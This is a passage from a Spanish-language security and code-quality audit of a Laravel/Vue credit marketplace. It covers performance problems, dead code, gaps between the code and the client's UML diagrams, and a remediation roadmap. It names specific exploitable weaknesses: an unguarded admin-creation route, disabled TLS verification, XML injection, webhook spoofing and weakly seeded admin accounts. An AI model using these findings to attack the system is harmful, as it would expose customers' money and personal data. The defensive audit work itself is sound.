brands_allied = Marca::all()->toArray()— ~50KB con 500 marcasuser_stats= 4 colecciones × 15 productos × eager-load profundo = 200-500KBauth.usersin field whitelist → expone cada columna del UserclienteDataenvía cupo, mora, persona completos
Inertia ships shared props en cada navegación. Total: ~500KB por full page visit. Combinado con axios timeout: 300_000ms, un slow shared-props fetch acumula requests indefinidamente.
F-PERF-3 [CRITICAL] Cache stampede en lineas, brands_allied, user_stats
Cache::remember(..., 3600, ...) sin Cache::lock ni stale-while-revalidate. 1.000 requests concurrentes al hour boundary → todos hit miss → 1.000 ejecuciones simultáneas de queries pesadas + 1.000 escrituras en mismo row del cache table. CERO invalidación cuando aliado sube producto / aprueba marca / etc → datos stale hasta 1h.
F-PERF-4 [CRITICAL] Home page (/) hace llamada SOAP sincrónica a Core Crédito (60s timeout) vía middleware
ConsultarCupoDelCliente en cada request a /. Bajo una caída de SHIVAM, cada PHP worker bloquea hasta 60s → workers se agotan → marketplace muere. Incluso día sano: home page es la más lenta (200-2000ms típico).
F-PERF-5 [CRITICAL] /checkout middleware hace 2 llamadas externas SECUENCIALES (Emcali 30s + CoreCredito 60s)
Total potencial: 90s antes de renderizar checkout. VerificarClientePresentaMora → CreditoService::clientePresentaMora() → Emcali Y luego CoreCredito.
F-PERF-6 [HIGH] ventas table sin índices críticos
Faltan: (sucursal_id, estado, creado_en) y (creado_en). Queries de dashboard y reporte comercial fuerzan full table scan + filesort. 100k ventas → 10s+ query times.
F-PERF-7 [HIGH] aprobar_cupo_eventos index es inutilizable
Index (id, cliente_id, creado_en) empezando con UUID PK → no usable para WHERE cliente_id = ? AND tipo_proceso IN (...). La query con HAVING en validarSiElClienteTieneSuCupoAprobado hace full scan. Con 1M events: 500ms-2s.
F-PERF-8 [HIGH] backend_request_logs y frontend_error_logs ZERO índices y SIN retención
Tablas crecen indefinidamente. Within 1 mes a tráfico moderado: 10M+ rows. Filtrar level='error' toma 30s+. Eventualmente fillea el disco sin avisar.
F-PERF-9 [HIGH] VentaReporteComercialController carga TODAS las ventas en memoria
12 meses × 50k ventas × deep eager load × PhpSpreadsheet writer = 300-500MB heap. Sin set_time_limit, sin chunking, sin queue dispatch. Bloquea PHP worker indefinidamente.
F-PERF-10 [HIGH] Bulk product upload carga XLSX completo en memoria
IOFactory::load($filePath) + $sheet->toArray() = doble copia en RAM. Para 50k rows: 1-2 GB heap. PHP default memory_limit=128M → OOM crash. Luego 50k jobs en jobs table.
F-PERF-11 [HIGH] Dashboard Aliado: 8-10 queries duplicadas para “encontrar sucursal”
$user->sucursales()->first(), $user->empresas()->first(), $empresa->sucursales()->first(), etc. repetidos en 4 métodos. Más HandleInertiaRequests repite todo otra vez.
F-PERF-12 [HIGH] OrdenCompraController::index eager-loads 5 niveles + LIKE en 6 columnas sin FULLTEXT
Búsqueda en observaciones, ventas.causal, venta_detalles.descriptor, precios.nombre, productos.nombre, productos.descripcion. Sin índices FULLTEXT. 50k orders + 100k ventas + 300k detalles + 100k productos → 5-15s por búsqueda.
F-PERF-13 [MEDIUM] DB session + DB cache + DB queue + DB logs = 4-way contention
.env.example defaults TODO en database. Redis configurado pero no usado. Cada request HTTP: UPDATE sessions + cache touch + posibles log writes + queue worker polling. Lock contention masivo a escala.
F-PERF-14 [MEDIUM] VentaService::generarCuotasPorOrden ejecuta 144 INSERTs en una transacción
Multi-empresa 36-meses: 36 master + 36×3 = 144 INSERTs individuales (Cuota::create) en una DB::transaction. Cliente espera 5-10s mientras locks están abiertos.
F-PERF-15 [MEDIUM] Frontend sin code-splitting — bundle inicial >1.5MB
vite.config.ts sin manualChunks. 58 páginas Vue + 136 componentes + 720KB shadcn-vue + Vue runtime + Inertia + Ziggy + lucide-vue-next icons → ~1.5MB JS first paint. SSR configurado pero no desplegado.
PARTE 10 — DEAD CODE & CÓDIGO ROTO ADICIONAL (20 hallazgos)
F-DEAD-1 [CRITICAL] UserService importa Dotenv\Exception\ValidationException (¡errado!)
Archivo: app/Services/UserService.php:9
use Dotenv\Exception\ValidationException; // ¡debería ser Illuminate\Validation\ValidationException!Cuando UserService::obtener() filtra por aliado sin empresa, llama ValidationException::withMessages([...]) — método que NO existe en la clase importada. Crashea con fatal error en runtime.
F-DEAD-2 [CRITICAL] MarcarCuotasVencidas artisan command depende de modelo/tabla inexistente
Archivo: app/Console/Commands/MarcarCuotasVencidas.php:32
$cuotasActualizadas = $planCreditoService->marcarCuotasVencidas();La tabla plan_credito no existe. Comando lanza SQL error. Además no está scheduleado → cuotas vencidas nunca se marcan automáticamente. Mora silenciosa.
F-DEAD-3 [CRITICAL] ProcesarOrdenesAbandonadas NO implementa ShouldQueue — corre sincrónicamente dentro del scheduler
Archivo: app/Jobs/ProcesarOrdenesAbandonadas.php:17
class ProcesarOrdenesAbandonadas // ¡falta implements ShouldQueue!Importa ShouldQueue y Queueable pero no usa ninguno. Corre INLINE en php artisan schedule:run. Si hay muchas órdenes → scheduler tick bloquea → otros jobs scheduled no corren a tiempo.
F-DEAD-4 [CRITICAL] Migración añade clientes.id_externo pero modelo NO lo tiene en $fillable
Archivos: Models/Cliente.php:55-78, database/migrations/2025_12_29_015523_alter_clientes_table.php
La columna id_externo existe en BD pero el modelo no la lista en $fillable. CSV importer referencia $dataEmpresa['id_externo'] con key incorrecta. Cualquier Cliente::create([..., 'id_externo' => 'X']) silently drops el valor. Columna huérfana.
F-DEAD-5 [CRITICAL] Caches globales NUNCA se invalidan
Archivo: app/Http/Middleware/HandleInertiaRequests.php:119, 126, 150, 158
Cache::remember('lineas', 3600, ...);Cache::remember('brands_allied', 3600, ...);Cache::remember('popular_categories', 3600, ...);Cache::remember('user_stats_*', 3600, ...);Cuando admin/aliado crea/actualiza/borra marca, línea, producto, empresa → datos cacheados quedan stale hasta 1 hora. No hay un solo Cache::forget() en MarcaController, LineaController, ProductoController, EmpresaController.
F-DEAD-6 [CRITICAL] verificar_cliente_presenta_mora falla SILENCIOSAMENTE abierto
Archivo: app/Http/Middleware/VerificarClientePresentaMora.php:33-36
} catch (Throwable $e) { return $next($request); // ¡silently passes!}Si Core Crédito 500ea, timea out, o cualquier error → middleware deja pasar. Cliente en mora puede comprar durante caída del servicio externo. Sin log, sin notificación, sin alerta.
F-DEAD-7 [CRITICAL] VentaCompletadaListener con sintaxis de relación incorrecta (otro bug)
Archivo: app/Listeners/Facturacion/VentaCompletadaListener.php:29
$cliente = $venta->user()->cliente()->first(); // ¡incorrecto!// Correcto: $venta->user->clienteuser() retorna BelongsTo no User → chain cliente() falla. Combinado con el event nunca despachado (audit previo) → si alguna vez se conecta, crashea.
F-DEAD-8 [CRITICAL] Flujo de registro de aliado aprobado está ROTO
Archivos: routes/ally/auth.php:14, notifications
- Ruta
aliado-postulacion.registerespera signed URL desdeInformarDePostulacionAprobada - Pero
InformarDePostulacionAprobadanunca se despacha - Lo que se despacha es
PostulacionAprobadaAlSolicitanteque NO contiene signed URL — solo texto “pronto te decimos cómo acceder” - Aliados aprobados no pueden completar registro vía email
F-DEAD-9 [CRITICAL] DescontableDescuento modelo VACÍO
Archivo: app/Models/DescontableDescuento.php
class DescontableDescuento extends Model { //}Migración crea tabla con tipo_descontable, descontable_id, expira_en (esquema polymorphic). Modelo sin $fillable, sin relaciones, sin métodos. Nunca instanciado en ningún lado. Feature de cupones abandonada con artifact dejado.
F-DEAD-10 [HIGH] Múltiples métodos de VentaService y OrdenCompraService huérfanos
Métodos públicos definidos pero NUNCA llamados:
VentaService::calcularTotalVenta()línea 535VentaService::obtenerNumeroCuotasPorLineas()línea 754OrdenCompraService::obtenerOrdenesCompra()línea 20MarcaService::obtenerUnaPorSlug(),ProductoService::existeProductoPorSlug(),LineaService::obtenerUnaPorSlug(),ListaDeseoService::obtenerDeseo()
Code rot en service layer.
F-DEAD-11 [HIGH] registrarEnCerticamara() retornando false anula la rama de despacho de crédito en DOS lugares
Archivos: app/Services/VentaService.php:245, 402
Ya documentado que el método retorna false. Compounded: en crearVentaUnica Y crearVentasPorEmpresa, la condición if ($tienePagare && !is_null($cliente->pagare_firmado_en)) siempre evalúa false → GenerarCreditoDeVenta job NUNCA se despacha desde la creación de venta. La única ruta que lo dispara es el webhook de Certicámara después. Sistema dependa 100% del webhook.
F-DEAD-12 [HIGH] Producto scopes para home OfertasDelDia, Encantado, MasVendidos, Intereses son TODOS la misma query
Archivo: app/Models/Producto.php:144-162
public function scopeOfertasDelDia($query) { return $query->aprobado(); }public function scopeEncantado($query) { return $query->aprobado(); }public function scopeMasVendidos($query) { return $query->aprobado(); }public function scopeIntereses($query) { return $query->aprobado(); }Home page muestra 4 secciones supuestamente diferentes (Encantar, Más Vendidos, Ofertas, Intereses), pero los 4 scopes retornan idéntica query. Cliente ve los mismos productos en las 4 secciones. Feature half-built.
F-DEAD-13 [HIGH] Templates Excel de mocks generan output transpuesto/inservible
Archivos: ProductoService.php:142-149, MarcaService.php:41-48, LineaService.php:40-46
$data[] = ['linea']; // ← cada header en su propia row$data[] = ['nombre'];$data[] = ['descripcion'];Genera Excel con UNA columna y 8 rows (cada row = un header name) en vez de un row con 8 columns. Template descargado es inutilizable. Para Marca/Linea, $data[0][] = $marca->nombre produce tabla transpuesta. Re-import imposible.
F-DEAD-14 [HIGH] Vue layouts muertos: AppHeaderLayout, AuthCardLayout, AuthSplitLayout
Archivos: layouts/app/AppHeaderLayout.vue, layouts/auth/AuthCardLayout.vue, layouts/auth/AuthSplitLayout.vue
Ningún page los importa. AppHeader.vue solo referenciado por el dead AppHeaderLayout.vue → toda esa subárbol es código muerto.
F-DEAD-15 [HIGH] PrecioController existe pero NO está registrado en ninguna ruta
Archivo: app/Http/Controllers/Market/PrecioController.php
Define store() y destroy() pero ningún routes/*.php lo referencia. Métodos completamente inalcanzables. Feature abandonado.
F-DEAD-16 [HIGH] Texto en INGLÉS en UI de settings (proyecto es Spanish-only por CLAUDE.md)
Archivos: settings/Layout.vue:30, settings/Profile.vue:49, settings/Password.vue:59, settings/Appearance.vue:25
<Heading title="Settings" description="Manage your profile and account settings" /><HeadingSmall title="Profile information" ... /><HeadingSmall title="Update password" ... />Leftover del Laravel Vue starter kit. CLAUDE.md exige Spanish; settings rompen la convención.
F-DEAD-17 [HIGH] CarritoService::obtenerElementoCarrito no protege contra Auth::user() null
Asume usuario autenticado pero no guard. Sobre un guest cart (que las routes permiten — F-007 audit previo), throws null pointer.
F-DEAD-18 [MEDIUM] Operator precedence bug en Aliado/ClienteController:58
(float) $c->valor_promedio ?? 0// Equivale a ((float) $c->valor_promedio) ?? 0// float cast NUNCA retorna null → `?? 0` es dead codeLo correcto sería (float) ($c->valor_promedio ?? 0) para manejar null.
F-DEAD-19 [MEDIUM] config('pagare.retry_minutes', 1440) fallback 72× más grande que valor real
El fallback es 1440 (24h). El valor real configurado es 20 minutos. Si la variable de env o el config file se pierde, retry timing cambia drásticamente sin error.
F-DEAD-20 [MEDIUM] HandleAppearance middleware comparte appearance a vista pero app.blade.php nunca lo usa
El theme se setea en JS via cookie. La View::share del middleware es dead code.
PARTE 11 — INTENT vs IMPLEMENTATION: GAPS EN LOS DIAGRAMAS UML COMPARTIDOS POR EL CLIENTE
Hallazgo meta: El cliente compartió dos diagramas UML en
docs/(DIAGRAMA_VENTA_UML.md, DIAGRAMA_APROBAR_CUPO_UML.md). Estos diagramas representan la intención documentada de Juan sobre el sistema. Al comparar línea por línea con el código real, encontramos 13 desalineaciones críticas entre intent y realidad.
Por qué importa para el cliente: Si Juan tiene un mental model del sistema, y el código se desvía de ese mental model, entonces:
- Cualquier nuevo desarrollador onboarding usando esos diagramas va a programar contra un sistema que no existe
- Decisiones de producto basadas en el mental model van a fallar en producción
- La validación de QA contra los diagramas pasa pero el código sigue roto
F-UML-1 [CRITICAL] AprobarCupo diagram dice “3+ procesos exitosos”, pero código exige 5+
Archivo del cliente: docs/DIAGRAMA_APROBAR_CUPO_UML.md:264
“AprobarCupoService - Valida si el cliente tiene su cupo aprobado (requiere 3+ procesos exitosos en el mes)”
Realidad en código: AprobarCupoService::validarSiElClienteTieneSuCupoAprobado() — query con GROUP BY tipo_proceso + HAVING que evalúa los 7 ProcessType definidos. Requiere >= 5 process types con último evento FINISH_SUCCESS del mes.
Implicación: Juan documentó el flujo creyendo que con 3 fases exitosas basta. El código realmente exige 5. Si Mi Plante hace cambios al ProcessType enum esperando que con > 3 sigue funcionando, va a romper la aprobación de cupo silenciosamente.
F-UML-2 [CRITICAL] AprobarCupo diagram dice “HDC actualmente devuelve true (placeholder)”, pero código sí integra DataCrédito
Archivo del cliente: docs/DIAGRAMA_APROBAR_CUPO_UML.md:280-282
“HDCValidationService - Validación de historial de crédito - Actualmente devuelve true (placeholder para implementación futura)”
Realidad en código: HDCValidationService.php SÍ llama a DataCrédito vía DataCreditoService::consultarHistorialPorTipoDocumento() y valida responseCode == 13. Está implementado (con bugs de logging F-PII-1, pero implementado).
Implicación grave: El diagrama puede:
- Estar desactualizado → quien lee va a pensar que HDC es un stub y va a confiar en validaciones que sí son reales (peligroso)
- Estar correcto y el código fue agregado sin revisar el cumplimiento real (peligroso de la otra dirección)
De cualquier forma: documentación vs realidad divergen en un servicio que decide la aprobación crediticia. Auditoría regulatoria SFC va a tener problemas con esto.
F-UML-3 [HIGH] Venta diagram declara subtotal/descuento_aplicado/total: float, pero migración usa bigInteger (silent truncation)
Archivo del cliente: DIAGRAMA_VENTA_UML.md:12-15
-float subtotal-float descuento_aplicado-float totalRealidad: 2025_10_30_015736_create_ventas_table.php:18,20 → $table->bigInteger('subtotal'), $table->bigInteger('total'). descuento_aplicado sí es float pero subtotal/total son enteros.
Implicación: Centavos perdidos en cada transacción (truncación bigInt). Documentación promete decimal arithmetic; BD entrega integer arithmetic. Esto explica por qué los desarrolladores escriben código que pasa floats a campos bigInteger (F-FIN-12).
F-UML-4 [HIGH] Venta diagram lista VentaService::registrarEnCerticamara() bool como método operativo
Archivo del cliente: DIAGRAMA_VENTA_UML.md:79
-registrarEnCerticamara(cliente, dto) boolRealidad: Método existe pero SIEMPRE retorna false (documentado en audit 16 F-007). Toda la rama de despacho inmediato de GenerarCreditoDeVenta es código muerto.
Implicación: Juan documentó la API del servicio creyendo que el método funciona. Cualquier nuevo dev que confíe en el diagrama va a programar features asumiendo que el método retorna true/false según la operación real, no constante false.
F-UML-5 [HIGH] Cuota diagram declara fecha_vencimiento: date, fecha_pago: date, pero migración usa timestamp
Archivo del cliente: DIAGRAMA_VENTA_UML.md:123-124
-date fecha_vencimiento-date fecha_pagoRealidad: 2025_11_06_140606_create_cuotas_table.php define ambos como timestamp. Con timezone UTC en config, esto compounded con F-FIN-15 produce el bug de “cuota vencida temprano por UTC vs Bogotá”.
Implicación: El diagrama sugiere granularidad de “día calendario” (date). El código usa granularidad de instante UTC. Reportería que muestra “vence el 5 de junio” no coincide con cuándo el sistema marca vencida.
F-UML-6 [HIGH] Cliente diagram dice estado_cuenta: string, pero columna real es jsonb
Archivo del cliente: DIAGRAMA_APROBAR_CUPO_UML.md:150, DIAGRAMA_VENTA_UML.md:240
-string estado_cuentaRealidad: Per 01-er-diagram.md y migraciones, es jsonb estado_cuenta. No es string, es objeto JSON.
Implicación: Cualquier código que asuma $cliente->estado_cuenta es string va a fallar (TypeError) o serializar incorrectamente. Lugar a bug en la integración con SHIVAM si algún empleado/aliado intenta procesar estado_cuenta.
F-UML-7 [HIGH] Cliente diagram dice valor_promedio: float, pero columna real es string
Archivo del cliente: DIAGRAMA_VENTA_UML.md:236
-float valor_promedioRealidad: Per migraciones y modelo, columna es string. Cuando CreditoService envía esto a SHIVAM espera un número pero el código lo trata como string. Cualquier validación numérica falla.
F-UML-8 [HIGH] AprobarCupo diagram OMITE Phase 0 (Completar Registro) completamente
Archivo del cliente: DIAGRAMA_APROBAR_CUPO_UML.md:347-368 muestra solo 4 fases:
1. Legal Check → 2. Identity Validation → 3. HDC Validation → 4. Aprobar CupoRealidad: El flujo completo (per audit doc 12) tiene 8 fases:
- Phase 0: Completar Registro (CompletarRegistroController + ClienteService::validarFacturas + EMCALI)
- Phases 1-6: Legal, Identity, OTP, Questionnaire, HDC (como documentado)
- Phase 7: Extender Cupo (ExtenderCupoService usando EMCALI + DataCrédito score)
Implicación: Dos servicios críticos (EMCALI integration al registro + ExtenderCupo) son invisibles para quien lee el diagrama. Phase 0 incluye 4 puntos críticos de Habeas Data (numero_contrato, facturas, dirección) que el diagrama no audita. Phase 7 hace el cálculo final de cupo asignado — invisible para Juan en el diagrama.
F-UML-9 [HIGH] Venta diagram OMITE toda la cadena de jobs (queue chain)
Archivo del cliente: DIAGRAMA_VENTA_UML.md:317-322 solo muestra:
VentaService --> Venta : manipulaVentaService --> VentaDetalle : manipulaVentaService --> OrdenCompra : manipulaVentaService --> Cuota : manipulaVentaService "1" --> "1" CerticamaraService : utilizaRealidad: El flujo de venta REAL depende de 3 jobs encadenados:
CerticamaraController (webhook) → ValidarPagareDigital (queue: creditos) → ProcesarPagareDigital (queue: creditos) → GenerarCreditoDeVenta (queue: creditos)Sin estos jobs, las ventas quedan en PENDIENTE para siempre. El diagrama no representa el camino crítico real del sistema.
Implicación: Nuevo dev pensaría que las ventas se crean síncronamente al instante. Realidad: dependen de webhook + 3 jobs que pueden fallar (F-FIN-9 race, F-CONC-4 doble cobro, etc.). El diagrama da una imagen falsamente simple.
F-UML-10 [HIGH] Venta diagram OMITE el flujo de OrdenesAbandonadas (60-min timeout)
ProcesarOrdenesAbandonadas corre cada 15 minutos y marca como ABANDONADA cualquier orden PENDIENTE > 60 min. Restaura inventario. Es un actor importante del lifecycle de ventas.
Diagrama del cliente: completamente ausente.
F-UML-11 [MEDIUM] Cliente diagram OMITE campos críticos: vcard, id_externo, registro_completado_en
Archivo del cliente: DIAGRAMA_APROBAR_CUPO_UML.md:144-152 y DIAGRAMA_VENTA_UML.md:226-249
Campos en BD pero NO en diagramas:
vcard— el identificador SHIVAM del cliente en banking core (crítico)id_externo— link a sistema externo (CSV importer lo usa, diagrama no lo menciona)registro_completado_en— gate para checkout, definitorio del flujo de cupo
Implicación: Diagramas describen un Cliente más simple del que existe. Onboarding por documentación → código vital invisible.
F-UML-12 [MEDIUM] Venta diagram declara relación Venta::ventasRelacionadas() HasMany — ¿implementada?
Diagrama: Lista +ventasRelacionadas() HasMany (línea 28) y en relaciones (línea 280) muestra Venta "1" --> "*" Venta : ventasRelacionadas.
Realidad: No vimos esta relación en el modelo Venta.php. Auto-relación de Venta consigo misma por mismo orden_compra. Si está, no es central. Si no está, es promesa rota.
F-UML-13 [HIGH] AprobarCupo diagram describe IdentityValidationService::generateToken() string como público pero OMITE las dependencias de cache
El diagrama no muestra que cada fase depende de Cache::get/put con keys {userId}.validacion, {userId}.transaccion_otp_id, {userId}.requiere_cuestionario, {userId}.cuestionario_id, {userId}.registro_cuestionario. Sin entender esa dependencia de cache:
- Imposible debuggear “el cuestionario no aparece”
- Imposible explicar race conditions entre pestañas
- Imposible auditar la replay window de OTP (30 min)
Es invisibilizar el verdadero state machine del flujo de aprobación de cupo.
RESUMEN FINAL DE LA AUDITORÍA EXTENDIDA
Conteo final (todos los agentes completados)
| Categoría | Findings | Críticos | Altos | Medios |
|---|---|---|---|---|
| Multi-tenancy / Aislamiento de aliados | 15 | 9 | 5 | 1 |
| Mass Assignment / Escalación de privilegios | 5 | 4 | 1 | 0 |
| Race conditions & concurrencia | 15 | 5 | 7 | 3 |
| Cálculos financieros y de cuotas | 15 | 4 | 8 | 3 |
| Seguridad profunda (XSS, XXE, MITM, OTP) | 18 | 5 | 10 | 3 |
| Logging de PII y tokens (Habeas Data) | 15 | 6 | 7 | 2 |
| Integridad de datos / state machines | 15 | 2 | 5 | 8 |
| Performance / N+1 / índices | 15 | 5 | 7 | 3 |
| Dead code & código roto adicional | 20 | 9 | 8 | 3 |
| Seeders con credenciales débiles | 2 | 2 | 0 | 0 |
| Configuración / despliegue / CI-CD | 6 | 1 | 3 | 2 |
| Intent vs Implementation (UML del cliente) | 13 | 2 | 8 | 3 |
| TOTAL FINAL | 154 | 54 | 69 | 31 |
Algunos findings tienen overlap entre categorías (un mismo bug puede aparecer en 2 categorías). El conteo de bugs únicos es ~135.
PARTE 12 — REMEDIACIÓN PRIORIZADA
Sprint 0 (HOY antes de release)
- ✅ Auditoría de credenciales administrativas — resetear passwords de
testadmin@*,testadmincomercial@*,testfinanciero@*, todas las cuentas creadas viaClienteAdministradorSeeder(F-011) - ✅ Bloquear
POST /aliados/usuarios/admin/creardetrás de role middleware (F-003) - ✅ Mover de Cliente::$fillable los campos:
cupo_asignado,cupo_disponible,cupo_vence_en,pagare_firmado_en,certicamara_uuid,registro_completado_en,vcard→$guarded(F-002) - ✅ Eliminar de User::$fillable los campos
guard,rol,activo→ solo via servicios (F-SEC-2) - ✅ Validar
Aliado/UserController::updatepayload — rechazar claveclienteo filtrar campos sensibles (F-002) - ✅ Fix sobrecobro
procesarCarrito— eliminar doble multiplicación (F-001) - ✅ Fix fianza — dividir
$fianzaPorCuotasentre$cuartoDeCuotas(F-004) - ✅ HMAC verification en webhook Certicámara — contactar Certicámara HOY (F-005)
- ✅ Sanitizar
Producto.descripcion— DOMPurify en frontend, HTML purifier en backend (F-012) - ✅ Eliminar
verify => falseen CoreCredito → certificado privado pinneado (F-010)
Sprint 1 (esta semana)
- Implementar Policies + Gates en todos los controllers Aliado
- HMAC verification + IP allowlist en webhook
- Encryption at rest para
personas.dni, expedido_en, lugar_expedicion - Eliminar logging de bodies + headers sensibles (PII filter en
ApiExceptionHandler+BackendRequestLogger) - Eliminar
errorInterceptor.ts logSuccess(no loguear response body en éxitos) - Auth + rate limit + max:5120 en
/api/error-logs - Fix XML injection en CoreCredito SOAP construction (escape via DOMDocument)
- Resetar
transaccion_otp_id, regValidacion, cuestionario_iden logout y FINISH_UNSUCCESS - Reducir signed URL TTL postulación a 7 días + one-time token
- Restaurar
requestUUIDaleatorio en DataCredito - Quitar
rand()del/consultar-cupo lockForUpdate()enPrecio.inventariodecrement + atomic decrement decupo_disponiblequeue.after_commit: trueglobal- Unique constraint
(venta_id, numero_cuota)en cuotas - Unique constraint
(tipo_dni, dni)en personas
Sprint 2 (2 semanas)
- Setup Docker + CI/CD con MySQL service
- Sentry/Bugsnag integration + Slack alerting (config ya existe)
- Log retention schedule
- Auditoría completa de seeders + migrate:fresh script seguro
- Implementar correlation ID / X-Request-ID
- Implementar Spatie Permissions correctamente o eliminar paquete
Sprint 3 (4 semanas)
- Refactor de cálculos financieros (unificar formula PMT entre front/back)
- Completar PlanCredito o removerlo definitivamente
- Eliminar dead code:
VentaCompletada/Canceladaevents,InformarDePostulacionAprobada, listener Facturacion broken - Auditoría regulatoria Habeas Data + acreditación SFC
Conclusión
Esta segunda pasada confirma que el sistema Mi Plante tiene una superficie de vulnerabilidad mucho mayor de lo que la primera auditoría reveló. Los hallazgos no son “imperfecciones de un sistema nuevo” — son vulnerabilidades catastróficas activas que permiten:
- Fraude financiero contra clientes (overcharge automático)
- Toma de control completa por aliados maliciosos
- Exposición sistemática de PII regulada por Habeas Data
- Manipulación de cupo bancario via XML injection
- Falsificación de pagarés via webhook spoofing
Recomendación final: Mi Plante debe parar nuevas ventas hasta resolver los 12 hallazgos críticos de la PARTE 1. El roadmap de los Sprints 0-3 toma 6-8 semanas y permite reanudar operaciones con la integridad financiera y regulatoria del sistema garantizadas.